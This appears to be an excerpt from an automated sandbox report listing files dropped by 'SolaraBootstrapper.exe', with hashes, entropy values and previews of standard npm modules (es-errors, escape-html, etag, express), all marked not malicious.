SHA-256:	CCBB8676063C7D4446B57E51B13D2F3D24A48AD419F9495B5BB21BD86F8C9374
SHA-512:	C3B273A0A96FC8AFE0CAA196EB064DB3254DCBFA45FD6BE2B90E9E2C645EBAB9C3E9ACD65C540DA7D13868DD70EAED9A20937F7B411151E7676A8CC541888F5C
Malicious:	false
Preview:	declare const URIError: URIErrorConstructor;..export = URIError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\uri.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.637766682905392
Encrypted:	false
SSDEEP:	3:agW8PPf6VC8P03zBbssqvn:QQCV8zBAsU
MD5:	73E1A7405C670740980CAD2ABDA5CA15
SHA1:	0319C74BFD36D4E73ADD442A0A0CB9C6DB78E822
SHA-256:	E1E5591BDE037A2FFEDA822FA03FAC22FF7C93C7B269ED9ADF1CBEA0E21614B0
SHA-512:	3E476D6E67E2E1324527F6C537B52C58654C7DB487746E39BE82230C4E0C7E79F3CC180767D338EA3A4DCED9FCC7A25BD7F082D1CF2C19C2AE8440725DA1BA6A
Malicious:	false
Preview:	'use strict';../** @type {import('./uri')} */.module.exports = URIError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	5.1874286589078835
Encrypted:	false
SSDEEP:	24:ylEiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:TiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	F8746101546EEB9E4F6DE64BB8BDF595
SHA1:	ADF7A452C47FF87C48DEFF37D703F1668F1276CA
SHA-256:	255AA557A1F55224CE522F311629C0BF20854740A67955CEFD798FBD1D3D1DED
SHA-512:	DD1E90B0B9C851F3CCD5FC94F69723C7877F892DCD09C3578CE7106B8CDA4768854A948623ECB9D256153133FE244F4CF61A413BEB0516BEFB888D3CD223D77B
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2013 TJ Holowaychuk.Copyright (c) 2015 Andreas Lubbe.Copyright (c) 2015 Tiancheng "Timothy" Gu..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	707
Entropy (8bit):	5.087211284917226
Encrypted:	false
SSDEEP:	12:IFNTlGt2cCHm3bKAYTBCKva+laAhxK23mvDMW8NqgYq45wLKLd1dDFONnHADn:IFvGt2zHsbKAYTsz+lO2gQNqga9J1a2
MD5:	79C73D9EC4CA382FA642702F356B4046
SHA1:	35923A97D4A2F8B712D85A18AFA3DAA7E1B7A53E
SHA-256:	86530565532EDE3EFB547E89694BD94CD384C6A4A6CE071AFECB3381DFB2EF22
SHA-512:	A099C305B9121023FEC178460D22D19AAD8DDF7FB20A3F08461ACAF346EAA0D4073BC052C38EB8FD9CA01552F09D1B58F3A0A19278F697FE5F505473E2964CCD
Malicious:	false
Preview:	.# escape-html.. Escape string for use in HTML..## Example..```js.var escape = require('escape-html');.var html = escape('foo & bar');.// -> foo & bar.```..## Benchmark..```.$ npm run-script bench..> escape-html@1.0.3 bench nodejs-escape-html.> node benchmark/index.js... http_parser@1.0. node@0.10.33. v8@3.14.5.9. ares@1.9.0-DEV. uv@0.10.29. zlib@1.2.3. modules@11. openssl@1.0.1j.. 1 test completed.. 2 tests completed.. 3 tests completed... no special characters x 19,435,271 ops/sec .0.85% (187 runs sampled). single special character x 6,132,421 ops/sec .0.67% (194 runs sampled). many special characters x 3,175,826 ops/sec .0.65% (193 runs sampled).```..## License.. MIT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	4.749244864705344
Encrypted:	false
SSDEEP:	24:W3+pR+TJ+Yg9H8KJAtB9fKEb6aWWkvpUXMSDYbwfgtXXvuXz3XBjIiXyHikJ7yP+:VpkAL9HWTC+WWkvpUe/
MD5:	0C95E46D0F08BD96B93CFBEA66888AFC
SHA1:	DFBB19C79EB0CA7FF2625FB1975A35CF47BE378A
SHA-256:	42A7F91883D0C5CE9292DDA4E017E1F8664D34B09276D89FB6F3859C29D1CA9B
SHA-512:	FBEB545274E55F0DFACE8407A563878083E8D2EDC16320A31802E7B4C1DBF6D37F20B772C7436CB1810ADB524EF86B3378B6B76A35E0967B6CAE58340C58D4AD
Malicious:	false
Preview:	/!. escape-html. * Copyright(c) 2012-2013 TJ Holowaychuk. * Copyright(c) 2015 Andreas Lubbe. * Copyright(c) 2015 Tiancheng "Timothy" Gu. * MIT Licensed. /..'use strict';../. Module variables.. * @private. /..var matchHtmlRegExp = /["'&<>]/;../. Module exports.. * @public. /..module.exports = escapeHtml;../. Escape special characters in the given string of html.. . @param {string} string The string to escape for inserting into HTML. * @return {string}. * @public. */..function escapeHtml(string) {. var str = '' + string;. var match = matchHtmlRegExp.exec(str);.. if (!match) {. return str;. }.. var escape;. var html = '';. var index = 0;. var lastIndex = 0;.. for (index = match.index; index < str.length; index++) {. switch (str.charCodeAt(index)) {. case 34: // ". escape = '"';. break;. case 38: // &. escape = '&';. break;. case 39: // '. escape = ''';. break;. case 60: // <.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	434
Entropy (8bit):	4.644067652549469
Encrypted:	false
SSDEEP:	12:i78Fw18e4Id6hOi+rCW675JjJkttDGCIR5+laAkR:i78Fw1IId6hNcCW6XjzT+l8
MD5:	E9C758769FEC9883D5CE3D30B8EE1047
SHA1:	F9D3FD64A0196E77965489CE9B81FE4CE3A9ECB1
SHA-256:	BD320A3E9D23249F5F7D3CE72F2FA426E28A6B2704BD2B281D0C92806A1F5223
SHA-512:	E54BBB849368A53C620B65D0E4A847869DEA8FBB767F3559315D9E031C11F23DF4AC9D746B7883CAF3F693C748E1B9C90F8789519891ED179399341CD49DCAE2
Malicious:	false
Preview:	{. "name": "escape-html",. "description": "Escape string for use in HTML",. "version": "1.0.3",. "license": "MIT",. "keywords": [. "escape",. "html",. "utility". ],. "repository": "component/escape-html",. "devDependencies": {. "benchmark": "1.0.0",. "beautify-benchmark": "0.2.4". },. "files": [. "LICENSE",. "Readme.md",. "index.js". ],. "scripts": {. "bench": "node benchmark/index.js". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	4.85905820338544
Encrypted:	false
SSDEEP:	48:GO8CfPirwW1ml6lv7lpbPCKRtC1fCfBfP:6UPIw4mC9
MD5:	959D386C253288FD5DD2DC4765EFA273
SHA1:	9254BD99614FABA324D793FB9AC0A6DF84E585CF
SHA-256:	A6311C59A3EA30AF617C8526EB2AA086B835260BF05490C81FA8E696E24CE7CD
SHA-512:	9FC3523FF57C99FBD2772819EA2B80A911E4603E94CEDB215E0144C572C798AD4CB77E94D592080020C4F8074D08BF82098E1E84528D7C3719CA3B0EE77ED5D0
Malicious:	false
Preview:	1.8.1 / 2017-09-12.==================.. * perf: replace regular expression with substring..1.8.0 / 2017-02-18.==================.. * Use SHA1 instead of MD5 for ETag hashing. - Improves performance for larger entities. - Works with FIPS 140-2 OpenSSL configuration..1.7.0 / 2015-06-08.==================.. * Always include entity length in ETags for hash length extensions. * Generate non-Stats ETags using MD5 only (no longer CRC32). * Improve stat performance by removing hashing. * Remove base64 padding in ETags to shorten. * Use MD5 instead of MD4 in weak ETags over 1KB..1.6.0 / 2015-05-10.==================.. * Improve support for JXcore. * Remove requirement of `atime` in the stats object. * Support "fake" stats objects in environments without `fs`..1.5.1 / 2014-11-19.==================.. * deps: crc@3.2.1. - Minor fixes..1.5.0 / 2014-10-14.==================.. * Improve string performance. * Slightly improve speed for weak ETags over 1KB..1.4.0 / 2014-09-21.====

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:PiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:PiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6E8686B7B13DD7AC8733645A81842C4A
SHA1:	B058A139CB239C658C8F1F841A475A50818B5F73
SHA-256:	A7996721249A136FBCFC1C201BCB5F414F38A701D4A24F28ABE65E16CFCCE813
SHA-512:	1CACD9111B9EB27A0FD326DD19D61BDF767E443EE1DD09D983AF81199ECDA0D7CF047FBD18B900C7D773972B1278D5D3C19FA753591333C04C27DDAC71AF6422
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4198
Entropy (8bit):	5.2388246497103825
Encrypted:	false
SSDEEP:	96:IXCcnI159F3hrp6Kx+1+G+GG+HE++PU+j+N0WBNN:IycKFxr3U4b4+taph
MD5:	89C2C0F9F52F551591BFC484E9E4A5BB
SHA1:	1C8D6561875E0E3A276546B16F0596C9A231E269
SHA-256:	8A982DB264A205206E5F2C18B0DC2FBB3A46762E997E89FCEBF439E390D0CF65
SHA-512:	CA487012341BE1D26885D68A7E3A5157AEDD4870122A016BC71415505BAD1546FFA34C305D3A85F1698F55B3BFF4F36872027911E4C84DE95F5120598840B889
Malicious:	false
Preview:	# etag..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Create simple HTTP ETags..This module generates HTTP ETags (as defined in RFC 7232) for use in.HTTP responses...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install etag.```..## API.. eslint-disable no-unused-vars -->..```js.var etag = require('etag').```..### etag(entity, [options])..Generate a strong ETag for the given entity. This should be the complete.body of the entity. Strings, `Buffer`s, and `fs.Stats` are accepted. By.default, a strong ETag is generated except for `fs.Stats`, which will.generate a weak ET

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2479
Entropy (8bit):	4.87277685592207
Encrypted:	false
SSDEEP:	48:RBGj9Hi6KMyKW0Ng1yTCACja5vSwUDboyioGbJPmud7gyX6:2ZWwg1SCP26BaRw
MD5:	8EACA1927E67861A7682B7B2C0906EF1
SHA1:	6A87B3C916A9B9E4B202949BE356871E1682AF9E
SHA-256:	A95A23B9A60726A4522B768C88AD73A7EA2C539D220068227F5510A8EE2008AE
SHA-512:	F7FA830CA33BCE08C37B8789EADDB5BC6853C774EE86C96D801DEDBEC5955306B1A4BCC3F6EAE33AD4EA73278567ADA9038EAB8AB1E95B256F2D060F7A06388E
Malicious:	false
Preview:	/!. etag. * Copyright(c) 2014-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = etag../. Module dependencies.. * @private. /..var crypto = require('crypto').var Stats = require('fs').Stats../. Module variables.. * @private. /..var toString = Object.prototype.toString../. Generate an entity tag.. . @param {Buffer\|string} entity. * @return {string}. * @private. /..function entitytag (entity) {. if (entity.length === 0) {. // fast-path empty. return '"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"'. }.. // compute hash of entity. var hash = crypto. .createHash('sha1'). .update(entity, 'utf8'). .digest('base64'). .substring(0, 27).. // compute length of entity. var len = typeof entity === 'string'. ? Buffer.byteLength(entity, 'utf8'). : entity.length.. return '"' + len.toString(16) + '-' + hash + '"'.}../. Create a simple ETag.. . @param {string\|Buffer\|Stats} entity. * @param

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	4.880705927600969
Encrypted:	false
SSDEEP:	24:SF7vd11dxVkyOrhBFjFCfP6ifPVQeZWnWjxCcB6T+l6oOUZqy4y8e1w:27v5bVkdhz5CfSifPVQeQWjIe0+woOUu
MD5:	FEC91CC11E50EE734C65C2D703DB3884
SHA1:	E2DEBD5C6530254ABE164BBD44F1E48B7C7C0018
SHA-256:	836B9A5DD1C6AF638F4602E83E2568277F9AB1F457DB0B95D949C2A4DDB0462A
SHA-512:	7A1D205F6B06142313DF3A2F1D149D0F1801269D06D17E12B3A81398A62156B071D646DAB332497C1D0D9A873FB58A7FE37EE6B4B9D53C8A10EE6F2AB9434010
Malicious:	false
Preview:	{. "name": "etag",. "description": "Create simple HTTP ETags",. "version": "1.8.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "David Bj.rklund <david.bjorklund@gmail.com>". ],. "license": "MIT",. "keywords": [. "etag",. "http",. "res". ],. "repository": "jshttp/etag",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.7.0",. "eslint-plugin-markdown": "1.0.0-beta.6",. "eslint-plugin-node": "5.1.1",. "eslint-plugin-promise": "3.5.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "1.21.5",. "safe-buffer": "5.1.1",. "seedrandom": "2.4.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint --plugin markdown --ext

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\History.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	113674
Entropy (8bit):	4.971235838962134
Encrypted:	false
SSDEEP:	3072:8L6ttkL9LLAjclLsgNwsgX0RxCjC4MJHjH8oV:M6g9L/lLGXlDoV
MD5:	04851369D7F7B8D9E7364D7CB6B7120C
SHA1:	8856D3443BEF94A4AD5CBB8413DBFCC52E68F947
SHA-256:	568B44175FF2D0E9535F710CCE4B5E9473B258D72357F45CF3C0653335264C02
SHA-512:	950038C41BA1C1E5B67CBE7D75BC0D8B4248D0F4A5E0A7247EE1F5B37263062767B88CECE97B637767FACAB055A299B20FD64D68C60708DF96283C28E77A1E21
Malicious:	false
Preview:	4.19.2 / 2024-03-25.==========.. * Improved fix for open redirect allow list bypass..4.19.1 / 2024-03-20.==========.. * Allow passing non-strings to res.location with new encoding handling checks..4.19.0 / 2024-03-20.==========.. * Prevent open redirect allow list bypass due to encodeurl. * deps: cookie@0.6.0..4.18.3 / 2024-02-29.==========.. * Fix routing requests without method. * deps: body-parser@1.20.2. - Fix strict json error message on Node.js 19+. - deps: content-type@~1.0.5. - deps: raw-body@2.5.2. * deps: cookie@0.6.0. - Add `partitioned` option..4.18.2 / 2022-10-08.===================.. * Fix regression routing a large stack in a single route. * deps: body-parser@1.20.1. - deps: qs@6.11.0. - perf: remove unnecessary object clone. * deps: qs@6.11.0..4.18.1 / 2022-04-29.===================.. * Fix hanging on large stack of sync routes..4.18.0 / 2022-04-25.===================.. * Add "root" option to `res.download`. * Allow `options` without `file

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1249
Entropy (8bit):	5.276725197908448
Encrypted:	false
SSDEEP:	24:lLNZiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:fZiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	5513C00A5C36CD361DA863DD9AA8875D
SHA1:	056D455B1BD8DE050D92A35B6D20B6803725F29B
SHA-256:	95A5762890E5C1C9808921CEF095661FC482C5E1F0BBA31446AC85595DF6237C
SHA-512:	5E082F14AF74086BACFFA6BABB58741ECE4080E26A84C915169E85EC95ED607CFF3C302088AD7225A778EE34E24E5D837E22B02161CD30B3B6272BEC1FD22D56
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2009-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2013-2014 Roman Shtylman <shtylman+expressjs@gmail.com>.Copyright (c) 2014-2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVEN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5421
Entropy (8bit):	5.038177684298331
Encrypted:	false
SSDEEP:	96:0BOY1RXkqaIXbK7GbGCccbEU3hjmeoQ7oIzQpIrEjH1aR2Zx:OOfqaIXogic51mGUn
MD5:	838DB28B501FAA40961AF644E01BAEF5
SHA1:	BF340719FCADE6EEEA502F10C88280279CE1A2AC
SHA-256:	265C5CE44C05F67C574B961D92BC71553580F88CB5B33AB7F2F6B1A19D4BF223
SHA-512:	52C3DBCC9DDBF750A6C8B5BB1B88EA1E612CD4DD3EE47E10224DAED44A8C293B900227AE15250CB662A7967868399DD7CA1616370C21AFBDF3AEB360D4202493
Malicious:	false
Preview:	[![Express Logo](https://i.cloudup.com/zfY6lL7eFa-3000x3000.png)](http://expressjs.com/).. Fast, unopinionated, minimalist web framework for [Node.js](http://nodejs.org)... [![NPM Version][npm-version-image]][npm-url]. [![NPM Install Size][npm-install-size-image]][npm-install-size-url]. [![NPM Downloads][npm-downloads-image]][npm-downloads-url]..```js.const express = require('express').const app = express()..app.get('/', function (req, res) {. res.send('Hello World').})..app.listen(3000).```..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/)...Before installing, [download and install Node.js](https://nodejs.org/en/download/)..Node.js 0.10 or higher is required...If this is a brand new project, make sure to create a `package.json` first with.the [`npm init` command](https://docs.npmjs.com/creating-a-package-json-file)...Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.139128378352818
Encrypted:	false
SSDEEP:	3:US94EcOmDDvB+Q91RmDDvm5wNi5pVmDDvHVJXWF3yFhWKZSsDp5cFDgqBBbJu4V9:Uju+BLPR+Mws57+xFvZSQp6tRBc49pH
MD5:	866E37A4D9FB8799D5415D32AC413465
SHA1:	3F41478FDAB31ACABAB8FA1D26126483A141FFB6
SHA-256:	4D2F5AFC192178C5B0DC418D2DA5826D52A8B6998771B011AEDE7FDBA9118140
SHA-512:	766D2E202DD5E520AC227E28E3C359CCA183605C52B4E4C95C69825C929356CEA772723A9AF491A3662D3C26F7209E89CC3A7AF76F75165C104492DC6728ACCC
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. */..'use strict';..module.exports = require('./lib/express');.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\application.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14593
Entropy (8bit):	4.840760542344076
Encrypted:	false
SSDEEP:	384:uJPZeLhzIZrg8ZanN45ysF9qug+2O/e8JH+nBGMiksrf:DL2Zrg8ZanN45ysF9qug+ZQ2
MD5:	15CF9C2F48C7BA6583C59D28908E3E27
SHA1:	19C7718F6A3D0F9DCD4CA692C19718EC29AAE092
SHA-256:	5901B32F609BA349351BF7406DBDC0C4C57B77CE6F7215EA67CCCA5AC2A28E88
SHA-512:	C063277A59B83DFFC085116769475EC5CCE1C47C167B9BD2246E8BDA04F0EBC2773B5F06E3B44FC5ED057E043F6D33E77741F34D15E22542134E3865574A29BE
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var finalhandler = require('finalhandler');.var Router = require('./router');.var methods = require('methods');.var middleware = require('./middleware/init');.var query = require('./middleware/query');.var debug = require('debug')('express:application');.var View = require('./view');.var http = require('http');.var compileETag = require('./utils').compileETag;.var compileQueryParser = require('./utils').compileQueryParser;.var compileTrust = require('./utils').compileTrust;.var deprecate = require('depd')('express');.var flatten = require('array-flatten');.var merge = require('utils-merge');.var resolve = require('path').resolve;.var setPrototypeOf = require('setprototypeof')../. Module variables.. * @private. */..var hasOwnProperty = Object.prototype.hasOwnPr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\express.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	4.894117326550773
Encrypted:	false
SSDEEP:	48:6VkJiFLCajbbm0Awl/jVfNHlXNlDXSYzWwMDo2c5sLwIvGpeDlgJWigxzD:u7FdjHm5wlPHlXNlDXSYzWwYo2c5qw0z
MD5:	D467BC485EDDF6D38278BC6B1DC16389
SHA1:	E233882DE62EB095B3CAE0B2956E8776E6AF3D6A
SHA-256:	2F25585C03C3050779C8F5F00597F8653F4FB8A97448EF8EF8CB21E65BA4D15D
SHA-512:	2ADD66B4F2E8CE463449CA8F2EAC19363844B6AB159A41B42163028C57F07A4245EBEFE759A6F90E8685B5BD239C969FE99366EFF89378CB8B92B8A703DACD61
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. /..var bodyParser = require('body-parser').var EventEmitter = require('events').EventEmitter;.var mixin = require('merge-descriptors');.var proto = require('./application');.var Route = require('./router/route');.var Router = require('./router');.var req = require('./request');.var res = require('./response');../. Expose `createApplication()`.. /..exports = module.exports = createApplication;../. Create an express application.. . @return {Function}. * @api public. */..function createApplication() {. var app = function(req, res, next) {. app.handle(req, res, next);. };.. mixin(app, EventEmitter.prototype, false);. mixin(app, proto, false);.. // expose the prototype that will get set on requests. app.request = Object.create(req, {. app: { configurable: true

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\middleware\init.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	853
Entropy (8bit):	4.971879744758794
Encrypted:	false
SSDEEP:	24:T+VR+s7+HzRNLyJ4FarCBAbcm9wcSgDtyfA2Wo1PRcojUJD/H:6VkJTRNLy+UZb19/SDfA2l1JXjUJD
MD5:	3711AE7EA348D39A41C5139A63E89C12
SHA1:	4B8B9456B57267D5892B097D4FF316838E41DFDD
SHA-256:	48C1D12F1494B20377FCDEEC9056272EFF84ED8C081E1E56DC2AEA395F77D19C
SHA-512:	67EA7DBB5C8CF37B524B246FEDA839A328A824C4CDFD9BF9FF97F79F28C45048B3F213E363B89F2BE3837815C41903F62D3479DBBCC5A9545E8AEBF21474668A
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var setPrototypeOf = require('setprototypeof')../. Initialization middleware, exposing the. * request and response to each other, as well. * as defaulting the X-Powered-By header field.. . @param {Function} app. * @return {Function}. * @api private. */..exports.init = function(app){. return function expressInit(req, res, next){. if (app.enabled('x-powered-by')) res.setHeader('X-Powered-By', 'Express');. req.res = res;. res.req = req;. req.next = next;.. setPrototypeOf(req, app.request). setPrototypeOf(res, app.response).. res.locals = res.locals \|\| Object.create(null);.. next();. };.};..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\middleware\query.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	885
Entropy (8bit):	4.911087592595629
Encrypted:	false
SSDEEP:	24:T+VR+s7+1wAoBeqL35fMwl3rxXnpNglD/f:6VkJqj1dMwlNpNQz
MD5:	A6E9A6C92C5BFDD9D7B08B267A3B1D44
SHA1:	A66AA642AD6C666470803022CC7C5C46732BD5BC
SHA-256:	6EDCE3963588B42E41942900B24218E665B97DF0C0B1C74090B2B934FA68CA08
SHA-512:	00DBD6EC9969EA9D859A9FD30339A5DD4FC70F2C18D1B49A9A298389A4473A8E7F5A6FA8D2A820053643C143D7202DFDBA59236E19AC28B5C19225D2DF52F386
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. /..var merge = require('utils-merge').var parseUrl = require('parseurl');.var qs = require('qs');../. @param {Object} options. * @return {Function}. * @api public. */..module.exports = function query(options) {. var opts = merge({}, options). var queryparse = qs.parse;.. if (typeof options === 'function') {. queryparse = options;. opts = undefined;. }.. if (opts !== undefined && opts.allowPrototypes === undefined) {. // back-compat for qs module. opts.allowPrototypes = true;. }.. return function query(req, res, next){. if (!req.query) {. var val = parseUrl(req).query;. req.query = queryparse(val, opts);. }.. next();. };.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\request.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12505
Entropy (8bit):	4.944383698965698
Encrypted:	false
SSDEEP:	384:uqOLFAdcH1y3xzl8TuoksKJW9vsRHgViHfWReYSi59lrvVK:+Adc2lEfl79vs17HfWRSidvVK
MD5:	7DE9073E4CD5121EBD975F8FC252E3B3
SHA1:	8C91F08385B3D241B180EA5326A3E1BE016945D1
SHA-256:	64AC10752C0516D789CB0698BB433586D4CE3B46F7F06EE3CB2880762B8BDA40
SHA-512:	F7CCD3077E6A4D1E2A2B008BB3156DA88F7705B92086B56755C7EC95CCDF1F79583AE400F51939C9DE6DAF03E9F6641371720186F19366C8111E7471351621B1
Malicious:	false
